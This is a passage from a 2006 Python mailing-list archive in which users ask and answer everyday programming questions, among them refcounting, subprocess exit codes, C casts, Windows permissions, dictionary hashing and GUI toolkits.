	<1161159369.957887.285370@m73g2000cwd.googlegroups.com>
Message-ID: <eh4oc4$kh0$1@sea.gmane.org>

neoedmund wrote:

> ivestgating the web, i found something similiar with my approch:
> http://en.wikipedia.org/wiki/Duck_typing
> "Duck-typing avoids tests using type() or isinstance(). Instead, it
> typically employs hasattr() tests"

that's not entirely correct, though: in Python, duck-typing typically 
uses "Easier to Ask Forgiveness than Permission" (EAFP), aka "Just Do 
It", rather than "Look Before You Leap" (LBYL).

</F>



From martin at v.loewis.de  Mon Oct  9 18:50:46 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 10 Oct 2006 00:50:46 +0200
Subject: distutils:permissions problems
In-Reply-To: <mailman.142.1160430231.11739.python-list@python.org>
References: <mailman.142.1160430231.11739.python-list@python.org>
Message-ID: <452AD246.5010507@v.loewis.de>

Eric S. Johansson schrieb:
> The problem is that, because of a quirk (or misfeature) of VM Ware
> shared filesystem, all of the directories and files are owned by root
> with a 700 permissions.  When I run setup.py install, they are installed
> as root with 700 permissions.  How can I alter the behavior of distutils
> so that my modules could be installed with a more useful user and
> permissions?

I recommend to change the permissions after the files have been
installed. If you absolutely have to change setup.py, you should inherit
from the install_lib and install_scripts commands, and either override
the "install" method to install using a different umask, or you should
look at the get_outputs() result of the command, and modify the files
after they got installed.

You might also try changing your umask.

Regards,
Martin


From fredrik at pythonware.com  Tue Oct 31 02:55:24 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 08:55:24 +0100
Subject: 3d programming without opengl
In-Reply-To: <f44750160610302343u739c5b3eo2f1c40c256004d3a@mail.gmail.com>
References: <f44750160610302343u739c5b3eo2f1c40c256004d3a@mail.gmail.com>
Message-ID: <ei6vhb$n98$1@sea.gmane.org>

nelson - wrote:

>    i want to build up a simple 3d interactive geometry application in
> python. Since i want to run it without 3D acceleration (a scene will
> be quite simple)

the scene is simple so I don't want to use a well-supported and widely 
used standard API because it might use hardware acceleration under the hood?

I know they keep saying that premature optimization is evil, but I'm not 
sure premature unoptimization is any better :-)

anyway, here are some links:

     http://www.vpython.org/
     http://panda3d.org/
     http://www.google.com/search?q=python+3D

</F>



From jth02 at arcor.de  Sun Oct 29 19:30:53 2006
From: jth02 at arcor.de (Jens Theisen)
Date: 30 Oct 2006 00:30:53 +0000
Subject: beginner's refcount questions
Message-ID: <87odru4pc2.fsf@arcor.de>

Hello,

python uses gc only where refcounts alone haven't yet done the
job. Thus, the following code

class Foo:
    def __del__(self):
        print "deled!"

def foo():
    f = Foo()

foo()
print "done!"

prints

deled!
done!

and not the other way round.

In c++, this is a central technique used for all sorts of tasks,
whereas in garbage collected languages it's usually not available.

Is there a reason not to rely on this in Python? For example, are
there alternative Python implementations that behave differently?  Or
some other subtle problems?

And some other minor question: Is there a way to query the use count
of an object? This would be useful for debugging and testing.

-- 
Cheers, Jens


From steven.bethard at gmail.com  Tue Oct 17 11:12:13 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 17 Oct 2006 09:12:13 -0600
Subject: Tertiary Operation
In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
Message-ID: <oeWdnS1MWLtRb6nYnZ2dnUVZ_qOdnZ2d@comcast.com>

abcd wrote:
> x = None
> result = (x is None and "" or str(x))
> print result, type(result)
> 
> ---------------
> OUTPUT
> ---------------
> None <type 'str'>
> 
> 
[snip]
> ...what's wrong with the first operation I did with x?

You weren't using Python 2.5:

Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit 
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
 >>> x = None
 >>> '' if x is None else str(x)
''
 >>>

Time to upgrade. ;-)

Steve


From grante at visi.com  Fri Oct 20 11:39:20 2006
From: grante at visi.com (Grant Edwards)
Date: Fri, 20 Oct 2006 15:39:20 -0000
Subject: FOR statement
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
Message-ID: <12jhrd8brj7tmfd@corp.supernews.com>

On 2006-10-20, Lad <python at hope.cz> wrote:
> If I have a list
>
> Mylist=[1,2,3,4,5]

[...]

> But how can I  print it in a reverse order so that I get
> 5
> 4
> 3
> 2
> 1

Another option:

>>> Mylist=[1,2,3,4,5]
>>> for i in Mylist[::-1]:
...   print i
... 
5
4
3
2
1

But, I think the reversed(Mylist) way is better.

-- 
Grant Edwards                   grante             Yow!  Where's the Coke
                                  at               machine? Tell me a joke!!
                               visi.com            


From gmkrishn.uofc at gmail.com  Sun Oct 29 16:23:33 2006
From: gmkrishn.uofc at gmail.com (Murali)
Date: 29 Oct 2006 13:23:33 -0800
Subject: Reverse function python? How to use?
In-Reply-To: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>
References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>
Message-ID: <1162157013.605081.151410@b28g2000cwb.googlegroups.com>

Something like this?

[code]
foo = [x1,x2,x3,x4,x5]
bar = [math.sqrt(math.fabs(x))+5*math.pow(x,3) for x in foo]
bar.reverse()
print bar
[/code]

frankie_85 wrote:
> Ok I'm really lost (I'm new to python) how to use the reverse function.
>
>
> I made a little program which basically the a, b, c, d, e which I have
> listed below and basically I want it th result to be printed reverse so
> instead doing "print e, d, c, b, a", I'd like to use the reverse
> function
>
> Can someone give pointersguidelines / on how to do it?
>
> [code]
>     a = str(math.sqrt(math.fabs(x1)) + 5*((math.pow(x1,3))))
>     b = str(math.sqrt(math.fabs(x2)) + 5*((math.pow(x2,3))))
>     c = str(math.sqrt(math.fabs(x3)) + 5*((math.pow(x3,3))))
>     d = str(math.sqrt(math.fabs(x4)) + 5*((math.pow(x4,3))))
>     e = str(math.sqrt(math.fabs(x5)) + 5*((math.pow(x5,3))))
> [/code]
> 
>  Thanks in advance



From sgilja at email.t-com.hr  Wed Oct 18 13:53:30 2006
From: sgilja at email.t-com.hr (Stens)
Date: Wed, 18 Oct 2006 19:53:30 +0200
Subject: characters in python
In-Reply-To: <eh5p68$qcl$1@ss408.t-com.hr>
References: <eh5p68$qcl$1@ss408.t-com.hr>
Message-ID: <eh5pmb$rbm$1@ss408.t-com.hr>

Stens wrote:
> Can python handle this characters: ??,??,??,??,???
> 
> If can how"

Heh, It is from croatian language. So this characters are changed.


From Benjamin.Barker at gmail.com  Fri Oct  6 17:37:59 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 6 Oct 2006 14:37:59 -0700
Subject: dictionary containing a list
Message-ID: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>

Hello...

I have set up a dictionary into whose values I am putting a list. I
loop around and around filling my list each time with new values, then
dumping this list into the dictionary. Or so I thought...

It would appear that what I am dumping into the dictionary value is
only a pointer to the original list, so after all my iterations all I
have is a dictionary whose every value is equal to that of the list the
final time I looped around :-(

Is there a way to acheive what I was attempting ? I have done something
almost identical with classes  in a list before, and in that case a new
instance was created for each list entry...


I hope this makes some sense, and doesn't seem to head bangingly
simple...


Cheers,

Ben



From hpsekhon at googlemail.com  Mon Oct  2 12:50:52 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 17:50:52 +0100
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <efrevs$tmd$1@sea.gmane.org>
References: <452125F8.8070106@googlemail.com>	<efrat3$db4$1@sea.gmane.org>	<45213245.3000808@googlemail.com>	<452133F1.5050401@holdenweb.com>
	<45213700.5050907@googlemail.com> <efrevs$tmd$1@sea.gmane.org>
Message-ID: <4521436C.5040303@googlemail.com>

ok, I was thinking of shifting using subprocess, guess I'd better do 
that and forget about this waste of time.

thanks

Hari Sekhon



Fredrik Lundh wrote:
> Hari Sekhon wrote:
>
>   
>> I'm sorry, this may seem dense to you but I have to ask. What on earth 
>> are you talking about?
>>     
>  >
>   
>> Why is it shifted 8 bits to the left? Why is there bitshifting at all? 
>> Why doesn't commands give the same exit value as os.system() and the 
>> unix cli?
>>     
>
> because that's how Unix's wait() operation returns the status code (as 
> mentioned in the "commands" section of the library reference).
>
> you can use the os.WIFEXITED(status) and os.WEXITSTATUS(code) helpers to 
> convert between wait return codes and signal numbers/exit codes.  see:
>
>      http://docs.python.org/lib/os-process.html
>
> or you can forget about the obsolete "commands" module, and use the new 
> subprocess module instead; e.g.
>
> def getstatusoutput(command):
>      from subprocess import Popen, PIPE, STDOUT
>      p = Popen(command, stdout=PIPE, stderr=STDOUT, shell=True)
>      s = p.stdout.read()
>      return p.wait(), s
>
> print getstatusoutput("ls -l /bin/ls")
> (0, '-rwxr-xr-x    1 root     root        68660 Aug 12  2003 /bin/ls\n')
>
> the subprocess module is highly flexible; see the library reference for 
> details.
>
> </F>
>
>   
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From nnorwitz at gmail.com  Thu Oct 26 04:12:17 2006
From: nnorwitz at gmail.com (nnorwitz at gmail.com)
Date: 26 Oct 2006 01:12:17 -0700
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <453E5002.2020402@v.loewis.de>
References: <mailman.813.1161325547.11739.python-list@python.org>
	<ehffhc$r05$1@news.albasani.net>
	<mailman.997.1161629341.11739.python-list@python.org>
	<ehjah5$bfm$1@news.albasani.net>
	<453d4890$0$22566$9b622d9e@news.freenet.de>
	<1161682522.256752.56630@i42g2000cwa.googlegroups.com>
	<453E5002.2020402@v.loewis.de>
Message-ID: <1161850336.936735.65570@f16g2000cwb.googlegroups.com>

Martin v. L?wis wrote:
> >> Let me second this. The compiler package is largely unmaintained and
> >> was known to be broken (and perhaps still is). A replacement
> >> implementation, especially if it comes with a new maintainer, would
> >> be welcome.
>
> Many of these are fixed, but it wouldn't surprise me if there are
> still bugs remaining.

There's no maybe about it.  http://python.org/sf/1544277
There were also problems with the global statement and something with
keyword args.  Though, both of those may have been fixed.  Georg would
probably remember, I think he fixed at least one of them.

It's definitely broken unless someone fixed it when I wasn't looking.
:-)

I agree with Martin, a new maintainer would be nice.  I plan to look at
compiler2 when I get a chance.

n



From bellman at lysator.liu.se  Tue Oct  3 04:03:26 2006
From: bellman at lysator.liu.se (Thomas Bellman)
Date: Tue, 3 Oct 2006 08:03:26 +0000 (UTC)
Subject: Need help with an array problem.
References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
	<1159826923.911685.30120@m73g2000cwd.googlegroups.com>
	<1159828738.510075.153600@i42g2000cwa.googlegroups.com>
	<6OlUg.4407$Y24.1210@newsread4.news.pas.earthlink.net>
Message-ID: <eft5ge$pdh$1@news.lysator.liu.se>

Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:

>	Of course, there is also the confusion between "type cast" and "type
> conversion" -- at least, for me...

> cast		taking the bit-pattern of a value in one "type" and
> interpreting the same bit-pattern as if it were a different "type"

> conversion	taking the value of a bit-pattern in one "type" and
> converting it to the bit pattern of the equivalent value in another
> "type"

>From where have you learned those definitions?  If it's from C,
then you have read the wrong books.  A cast in C is a type
conversion, with the same semantics as you write under "conversion"
above.  The C standard (ISO/IEC 9899:1999) says:

    6.5.4 Cast operators
    [...]
    Semantics
    Preceding an expression by a parenthesized type name converts the
    value of the expression to the named type.  This construction is
    called a cast.  A cast that specifies no conversion has no effect
    on the type or value of an expression.

("A cast that specifies no conversion" refers to when you cast
from one type to the same type, e.g. '(int)x' if x is of the type
'int'.)

You may also try this program:

    #include <stdio.h>
    #include <string.h>

    int main(void)
    {
	/* Assumption: sizeof(float)==sizeof(int).  This is the most
	 * common case on modern computers. */
	float f = -17.0;
	int i = -23;
	float fjunk;
	int ijunk;

	printf("Cast: %d %10.6f\n", (int)f, (float)i);
	memcpy(&fjunk, &i, sizeof i);
	memcpy(&ijunk, &f, sizeof f);
	printf("Bitcopy: %d %10.6f\n", ijunk, fjunk);
	return 0;
    }

If a cast had been what you believed, both printf() statements
above would give the same output.  Unless your C compiler uses
some really strange floating point representation, they will
print rather different things.  The first one must print

    Cast: -17 -23.000000

showing very clearly that a cast is a type conversion.  The
second printf() will print some seemingly random numbers, showing
that those bit-patterns will be interpreted very differently when
interpreted as another type.

What you might have been confused by, is dereferencing a casted
pointer.  Add the following statement:

	printf("Pointer cast: %d %10.6f\n", *(int*)&f, *(float*)&i);

to the program.  It should output the same numbers as the
"Bitcopy" printf().  But what is cast here is the *address* of
the variables, not the actual contents of them.  It is the
*dereferencing* of those casted pointers that interpret the bit
patterns in the variables as if they were another type, not the
casting itself.


-- 
Thomas Bellman,   Lysator Computer Club,   Link?ping University,  Sweden
"I don't think [that word] means what you    !  bellman @ lysator.liu.se
 think it means."   -- The Princess Bride    !  Make Love -- Nicht Wahr!


From tim.golden at viacom-outdoor.co.uk  Mon Oct 23 11:13:22 2006
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 23 Oct 2006 16:13:22 +0100
Subject: File and directory permissions in windows
In-Reply-To: <ehil5b$dq297@cesio.mundo-r.com>
Message-ID: <CCAC78D42E32184F8E26DC163DB98306C1B570@vogbs009.gb.vo.local>

[ismael]

| I have some problems to get the the permissions on windows. I 
| use a simple code that run perfectly in UNIX but give me wrong 
| information on Windows. I found this code searching by google:

[... snip ...]

| is there a solution for this?, another library or code? 
| Anything that i do wrong?

Well, I'm certainly feeling guilty, because I've had a
note on my TODO list since the last time this came up
a month or so ago.

In short, Windows doesn't really map the read/write/exec
Posix model especially logically. AFAICT, the MS CRT code
doesn't take account of NT permissions or things like PATHEXT
at all -- which would give you non-readable or executable. 
The traditional DOS model only supports read-only 
(and hidden/system/archived which don't apply here) so
there's no way, eg, for any combination of flags to indicate
can't-read-at-all.

In short, *I* need to provide that doc patch I got halfway
through, and *you* need to find a way around whatever you're
trying to do on Windows. Depending on what you're after, you
might end up with some sort of try-except framework, or using
the win32security module from the pywin32 extensions.

Feel free to post again indicating what you're trying to do
with the stat information.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
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From fredrik at pythonware.com  Tue Oct  3 16:33:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 22:33:35 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <efuhev$iji$1@sea.gmane.org>

LaundroMat wrote:

> Suppose I have this function:
> 
> def f(var=1):
> return var*2
> 
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()?

f(1)

 > "None" doesn't seem to work..

None is an object.

</F>



From hanumizzle at gmail.com  Wed Oct 11 02:11:05 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 02:11:05 -0400
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <87ejtf75an.fsf@benfinney.id.au>
References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
	<87vemr76fu.fsf@benfinney.id.au>
	<463ff4860610102253l79c94092q398746105cabf145@mail.gmail.com>
	<87ejtf75an.fsf@benfinney.id.au>
Message-ID: <463ff4860610102311v562882f6l12814ccd350bc0c9@mail.gmail.com>

On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> "Theerasak Photha" <hanumizzle at gmail.com> writes:
>
> > On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> > > Why have you re-implemented (a less-functional version of) 'isinstance'?
> >
> > Ignorance, I think. But the issue is resolved now. Thank you.
>
> Hopefully it is also merely ignorance that leads you to such obsessive
> type-checking.

It would seem I clicked the Send button late. **Too slow!!** :)

-- Theerasak


From gagsl-py at yahoo.com.ar  Mon Oct  2 18:17:36 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 02 Oct 2006 19:17:36 -0300
Subject: Python
In-Reply-To: <3671C2002ECC9149B2B5509290F533A6457857@fiscex.FISCHERINTER
	NATIONAL.COM>
References: <7.0.1.0.0.20060930002432.052e78c0@yahoo.com.ar>
	<3671C2002ECC9149B2B5509290F533A6457857@fiscex.FISCHERINTERNATIONAL.COM>
Message-ID: <7.0.1.0.0.20061002185941.0408eb70@yahoo.com.ar>

At Monday 2/10/2006 09:40, Bryan Leber wrote:

Please keep your messages on the list. Other people may have bettter 
chances to help too.

> > I don't see anything wrong with those lines. Try printing pullerList
> >before the loop, to see exactly its contents.
> >
>
>Yea, I have been printing what is in pullerList before and it shows 
>the four lines(i.e PATCH_NUMBER, BUG_NUMBER, etc) with the values 
>after it. One thing I notice is that using CVS, when the information 
>is pulled from the commit message, it puts all of those lines into 
>pullerList[0] index, so if I did pullerList[1] to try to get the 
>second line it gives me index out of range, because everything is in 
>index spot 0. So that is why we have to do line.split thing. When I 
>run it in debugger it does split the lines the variable ov shows 
>that it has the contents of overview in it, but just wont print it 
>to the file:(

Use print repr(something) when you want to see its contents.
For a list, in python, you'll get something like that:
['One','two','three']
That is, some items separated by commas and enclosed in []
If you get something different then pullerList is NOT what you expect 
it to be - and you'll have to figure out what happened to it, usually 
looking at where it comes from.
For example, if you get it from a file -I think this is the case- and 
you want each line from the file in each list element, use 
file.readlines(). If you read the file as a whole (that is, using 
file.read()) you'll get something like 'one\ntwo\nthree\n'
As I said before, make sure your script works fine testing it 
*alone*, after then, try it with CVSNT. If it doesnt work, maybe what 
you get is not what you expect it to be - use print repr(...) to see 
what's your input.



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From duncan.booth at invalid.invalid  Wed Oct  4 16:14:33 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 4 Oct 2006 20:14:33 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
	<1159988604.129350.119250@h48g2000cwc.googlegroups.com>
Message-ID: <Xns9852D81A7A531duncanbooth@127.0.0.1>

"sjdevnull at yahoo.com" <sjdevnull at yahoo.com> wrote:

> A set, on the other hand, uses a hash table so finding an element
> takes constant time (it's one hash lookup, independent of the size of
> the set)--and determining an item isn't there is likewise constant
> time. 
> 
One hash calculation, but there could be collisions. Worst case for an n
element dict/set could be that it takes n attempts to find a value, 
although unless you try to do it deliberately by ensuring that the keys 
have identical hash values this won't happen in practice.

Paul McGuire wrote:
> Thanks, I stand corrected.  How do they know how big a hash table to
> use?  I think this is an interesting problem.

If I read the code correctly:

Minimum size is 8. Whenever more than 2/3 of the slots are in use 
(including slots where the element has been deleted) the dictionary is 
resized to the smallest power of 2 (greater than 8) which is greater than 4 
times the number of currently occupied slots (or 2 times the number of 
occupied slots when more than 50000 slots are occupied). This can reduce 
the size if a lot of elements have been deleted.


From fredrik at pythonware.com  Tue Oct 31 13:52:55 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 19:52:55 +0100
Subject: scared about refrences...
In-Reply-To: <1162315016.354163.18950@i42g2000cwa.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>	<pan.2006.10.30.19.32.25.538858@gmx.net>	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>	<ei60go$ngb$1@web.aioe.org>	<1162254191.507805.276640@k70g2000cwa.googlegroups.com>	<ei6o2u$9sq$1@web.aioe.org>
	<1162315016.354163.18950@i42g2000cwa.googlegroups.com>
Message-ID: <ei8626$795$1@sea.gmane.org>

SpreadTooThin wrote:

> Every time I pass a variable now I will worry that it will be changed
> by the function...

why?  who's writing those scary functions that you cannot trust?  and 
what makes you think they won't abuse any immutable data you give them?

</F>



From eldiener_no_spam_here at earthlink.net  Thu Oct 19 19:36:16 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Thu, 19 Oct 2006 23:36:16 GMT
Subject: Lead Software Engineer
In-Reply-To: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
Message-ID: <QZTZg.11707$Y24.3685@newsread4.news.pas.earthlink.net>

Emma wrote:
> Successful candidates meet the following requirements:
> ? A burning desire to build rock-solid apps that people will be
> unable
> to live without

I use to have a burning desire to cleverly answer questionnaires for 
companies which either don't exist or, if they do, don't tell you who 
they are, where they are located, or what they are offering, but I gave 
it up in infancy.


From http  Fri Oct 20 01:33:03 2006
From: http (Paul Rubin)
Date: 19 Oct 2006 22:33:03 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <7xac3ra6wg.fsf@ruckus.brouhaha.com>

Kevin Walzer <kw at kevin-walzer.com> writes:
> Am I better off biting the bullet and learning wxPython--a different GUI
> paradigm to go with the new language I'm trying to learn? I had hoped to
> reduce my learning curve, but I'm very concerned that I simply can't do
> what I want to do with Tkinter. What do other Tkinter developers think?

I haven't yet found the need to switch to wxPython.  Tkinter is
something of a least common denominator and as such it's been ok for
the stuff I've used it for.  However, tkinter's unpopularity is well
grounded:

  - Tk widgets have their own look, which is both non-native and IMO ugly
  - limited widget set, especially the widgets included with python
  - clumsy programming interface (but wxpython is also clumsy)

If you look at IDLE (the fanciest Tkinter app I've examined) the code
is near incomprehensible.

I have yet to see a gui toolkit which doesn't suck.  I'm not sure why
that is.

Sometimes instead of a gui, I put a local http server into the app,
and connect to it with a browser.  Then I do the whole gui in html.
This has many advantages and often not that much of a downside.
There's a language called Picolisp in which this is the standard way
to do a gui.  Picolisp includes a java applet that can do some stuff
that standard html widgets can't.  These days I suppose it should use
AJAX.


From bdesth.quelquechose at free.quelquepart.fr  Thu Oct 19 16:56:29 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Thu, 19 Oct 2006 22:56:29 +0200
Subject: proper format for this database table
In-Reply-To: <qWQZg.119$1n3.3371@news.tufts.edu>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
Message-ID: <4537e232$0$3280$426a34cc@news.free.fr>

John Salerno a ?crit :
> Hi guys. I was wondering if someone could suggest some possible 
> structures for an "Education" table in a database. 

Wrong newsgroup, then. comp.database.* is right next door...



From ilias at lazaridis.com  Sat Oct  7 23:49:38 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 7 Oct 2006 20:49:38 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <2vXVg.139282$_J1.908700@twister2.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45254B18.2090806@v.loewis.de>
	<0BQVg.138807$zy5.1859480@twister1.libero.it>
	<eg8v0u$g3m$1@panix3.panix.com>
	<2vXVg.139282$_J1.908700@twister2.libero.it>
Message-ID: <1160279378.414897.263600@i42g2000cwa.googlegroups.com>

Giovanni Bajo wrote:
> Aahz wrote:
>
> >> Are you ever going to try and make a point which is not "you are not
> >> entitled to have opinions because you do not act"? Your sarcasm is
> >> getting annoying. And since I'm not trolling nor flaming, I think I
> >> deserve a little bit more of respect.
> >
> > IMO, regardless of whether you are trolling or flaming, you are
> > certainly being disrespectful.  Why should we treat you with any more
> > respect than you give others?
>
> Disrespectful? Because I say that I don't agree with some specific requirement,
> trying to discuss and understand the rationale behind it?

there's really not much to understand, just one thing:

There are no rationales.

This is a 'decision by feeling':

http://groups.google.com/group/comp.lang.python/msg/0334d6ff60a48991

As for Mr. Holden... it's not a matter of not respecting you.

It is in his nature to babble in this way.

Sometimes it's even funny!

.



From a_salnikov at yahoo.com  Mon Oct  9 21:04:24 2006
From: a_salnikov at yahoo.com (Andy Salnikov)
Date: Mon, 9 Oct 2006 18:04:24 -0700
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
	<slrneik8ap.55m.apardon@rcpc42.vub.ac.be>
	<egecss$o1l$1@panix3.panix.com>
Message-ID: <egerit$brm$1@news.Stanford.EDU>


"Aahz" <aahz at pythoncraft.com> wrote in message 
news:egecss$o1l$1 at panix3.panix.com...
> In article <slrneik8ap.55m.apardon at rcpc42.vub.ac.be>, Antoon Pardon 
> <apardon at forel.vub.ac.be> wrote:
>>
>>The problem is there is also ground for bugs if you don't use "blah is
>>True". If some application naturally seems to ask for a variable that
>>can be valued False, True or a positive integer then things like "if
>>var" or "if not var" may very well be a bug too.
>
> Anyone designing an app like that in Python deserves to lose.  It's just
> another way of shooting yourself in the foot.

OK, I guess nobody ever heard about three-valued logic before, right?

Of course it does not apply to the original post because has_key()
can only return True or False (I hope it will not ever return DontKnow:)
but in general if you implement something like 3-valued logic choices
like (False,True,None) are almost obvious.

  Andy.




From martin at v.loewis.de  Tue Oct 24 15:35:40 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 21:35:40 +0200
Subject: default python when multiple python installation on the box
In-Reply-To: <de6dnXce1bnBwqPYnZ2dnUVZ_rmdnZ2d@comcast.com>
References: <de6dnXce1bnBwqPYnZ2dnUVZ_rmdnZ2d@comcast.com>
Message-ID: <453e6b0c$0$25200$9b622d9e@news.freenet.de>

j_nwb schrieb:
>    I have multiple python installations. 2.2, 2.3, 2.4. When I install a
> new package (pygtk2) , it always install in python 2.3.
>    I changed the /usr/bin/python to be 2.4 binary. Still the same behavior.
>    How does rpms, determine which installation to update ? Is there a
> file somewhere ?
>  I am running in to this on Fedora as well as CenOS.

Not sure what you mean by package: RPM package or distutils package?
If RPM package: binary package or source package?

Binary RPM packages have the Python version compiled into their
extension modules, and you can't change that without recompilation.
In addition, they have the directory and file names hard-coded in
the RPM archive.

Source RPM packages have the Python version coded into their spec
file. You should read the spec file to find out what Python version
it uses.

Distutils packages use the Python version you use to run setup.py,
so you should be able to install either with "python2.4 setup.py",
or get a different Python selected by changing /usr/bin/python.
Since you specifically asked about RPMs, I guess distutils packages
are of no interest to you, though.

Regards,
Martin


From johnjsal at NOSPAMgmail.com  Tue Oct 10 11:50:00 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Tue, 10 Oct 2006 15:50:00 GMT
Subject: can regular ol' python do a php include?
In-Reply-To: <mailman.221.1160494018.11739.python-list@python.org>
References: <mailman.221.1160494018.11739.python-list@python.org>
Message-ID: <IiPWg.94$1n3.2328@news.tufts.edu>

Jean-Paul Calderone wrote:

> def include(filename):
>    print open(filename).read()
> 
> include('header.html')
> 
> Behold, the power of a general purpose programming language.
> 
> Jean-Paul

Thanks, pretty good idea! But my guess is that I can't just use it this 
way within an HTML file. It seems like what I have to do is write my 
HTML files separately, with string formatters inserted in them, and then 
read *those* files into a separate Python file that is the actual URL 
visited. Not quite ideal either, but I guess that would work.

Of course, if that's how it has to be done, I might as well just use PHP 
instead. It's only one function, after all.


From tenax.raccoon at gmail.com  Tue Oct 17 19:30:34 2006
From: tenax.raccoon at gmail.com (Jason)
Date: 17 Oct 2006 16:30:34 -0700
Subject: Python wrapper for C++ core
In-Reply-To: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
Message-ID: <1161127834.850922.222320@k70g2000cwa.googlegroups.com>

holly.woodl... at gmail.com wrote:
> Hi All
>
> Apologies in advance for the pretty basic question - but I can't seem
> to find an answer anywhere else.
>
> I am developing a fluid sim in C++ and have heard that many people use
> Python in conjunction with C++ for this sort of thing (especially in
> games dev).
>
> What I can't understand why you would want to do this. Obviously the
> core would be written in C++ (for my purposes anyway) so what parts
> would be written in Python? What is the benefit, in this situation, of
> using Python instead of C++?
>
> thanks for your help
>
> Holly

What would be the advantages?  Let's see if I can knock it down for
you.

You didn't give any information about your fluid simulation other than
you are developing it in C++.  Whether or not you'd want to expose your
fluid sim objects to Python depends on your purposes.  If you code the
main fluid engine in C++ and expose it in Python, you might be able to:

  1) Easily run your fluid simulation over a variety of parameters.
Vary the equation constants so you can see how the simulation works
with water, rubbing alcohol, air, and molasses.

  2) Perform statistical analysis of your results.  Use one of the
various statistical packages to examine the results.  Use the CSV
module to save out an Excel-compatible set of results, or use the Win32
modules to start up Excel and populate a spreadsheet.

  3) Use Python to set up the specific physical layout for the fluid
simulation.  For a 2D fluid simulation, you might want to set up a
specific set of walls.  You can do that automatically, or use your own
custom file format and let Python deal with parsing it.

  4) Use Python to load models from different file formats into the
simulation.  For 3D fluid simulations, you'd most likely use CAD
generated models.  Create a basic C++/Python class for models that can
load triangles into the simulation.  For each format that you support,
use or write a Python class, derived from the basic model class, that
can parse that format and put the triangles into the model using the
superclass.  If the file format is text-based, Python's excellent
string manipulation can help out here.

  5)  Use Python to allow the user to "react" to certain conditions and
events during the simulation.  Perhaps the model changes in one
simulation at a given time (as a valve opens or closes).  Perhaps if
the model reaches a stable equilibrium, you'd like to end the
simulation so you don't need to know exactly when to end the
simulation.

  6) Give your users the ability to perform any of the above.

What Python can give you is flexibility.  Whether or not this is useful
for you depends entirely on the goals of your program, and the design
of your program.  I'm sure there are other things Python can do for
you, but you'll need to figure them out (or post more information about
your program).

    --Jason



From kay.schluehr at gmx.net  Sun Oct 15 22:21:50 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 15 Oct 2006 19:21:50 -0700
Subject: python's OOP question
